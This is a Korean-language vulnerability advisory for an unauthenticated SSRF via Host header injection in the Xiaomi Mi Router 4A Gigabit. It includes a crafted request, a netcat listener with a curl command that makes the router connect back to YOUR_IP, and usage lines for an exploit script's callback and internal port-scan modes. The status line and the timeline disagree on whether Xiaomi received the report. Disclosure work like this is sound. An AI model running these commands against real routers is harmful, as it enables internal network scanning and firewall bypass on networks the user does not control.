CVE-2026-26898: 샤오미 Mi Router 4A Gigabit - Host 헤더 주입을 통한 SSRF

요약

샤오미 Mi Router 4A Gigabit 에디션에서 서버 측 요청 위조(SSRF) 취약점이 발견되었습니다. 라우터의 웹 인터페이스가 HTTP Host 헤더를 검증하지 않아 인증되지 않은 공격자가 라우터를 강제로 임의의 아웃바운드 TCP 연결을 수행하게 할 수 있습니다.

공급업체 대응 및 공개 상태

상태: 공급업체가 이의 제기 — 이 보고서는 샤오미에 접수되지 않았습니다.

• 2026-01-16에 HackerOne(보고서 #3513458)을 통해 샤오미에 보고됨.
• 2026-01-23, 샤오미는 해당 보고서를 정보 제공(Informative) 으로 종결했으며, 이미 알려진 문제이고 라우터가 "여전히 프록시 기능에 의존한다"고 밝히면서 이를 저위험으로 분류하고 해결하지 않을 것이라고 통보했습니다.
• 연구원 입장: 심각도 등급에 이의가 제기되었습니다. 해당 장치는 2026년 1월 기준 샤오미 공식 채널(mi.com/tr)에서 여전히 활발히 판매되고 있으며, 엔드포인트는 인증 없이 접근 가능하고, SSRF를 통해 내부 네트워크 스캔 및 로컬 연결을 신뢰하는 서비스에 접근할 수 있습니다. 해당 동작은 패치되지 않은 상태로 남아 있습니다.

CVE-2026-26898은 여기서 추적 목적으로만 사용되었습니다. 공급업체의 이의 제기를 고려할 때 이는 공급업체가 확인한 것이 아닌 분쟁 중 / 미확인 상태로 취급해야 합니다.

영향을 받는 엔드포인트

GET /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: <ATTACKER_IP>:<PORT>

개념 증명(PoC)

스크린샷

빠른 테스트

python3 xiaomi_ssrf_exploit.py --target 192.168.31.1 --check

출력

[*] Checking vulnerability on 192.168.31.1...
[*] Local IP: 192.168.31.235
[*] Test Port: 44444
[+] VULNERABLE! Router connected back to 192.168.31.235:44444

수동 테스트

# Terminal 1: Start listener
nc -l 4444

# Terminal 2: Send malicious request
curl -H "Host: YOUR_IP:4444" "http://192.168.31.1/cgi-bin/luci/api/xqsystem/login"

영향

• 내부 네트워크 스캔: 라우터를 프록시로 사용하여 내부 네트워크 스캔
• 방화벽 우회: 라우터의 IP로 제한된 서비스에 접근
• 공격 체인: RCE를 위해 다른 취약점과 결합 가능

파일

익스플로잇 사용법

# Check if vulnerable
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --check

# Callback mode
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --callback YOUR_IP --port 4444

# Port scanner
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --scan TARGET_IP --ports 22,23,80,443

타임라인

참조

• HackerOne 보고서 #3513458 (샤오미에 제출, 정보 제공(Informative)으로 종결)
• CWE-918: 서버 측 요청 위조(SSRF)

면책 조항

본 익스플로잇은 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

작성자

Ahmet Mersin
🌐 ahmetmersin.com
🐙 @iwallplace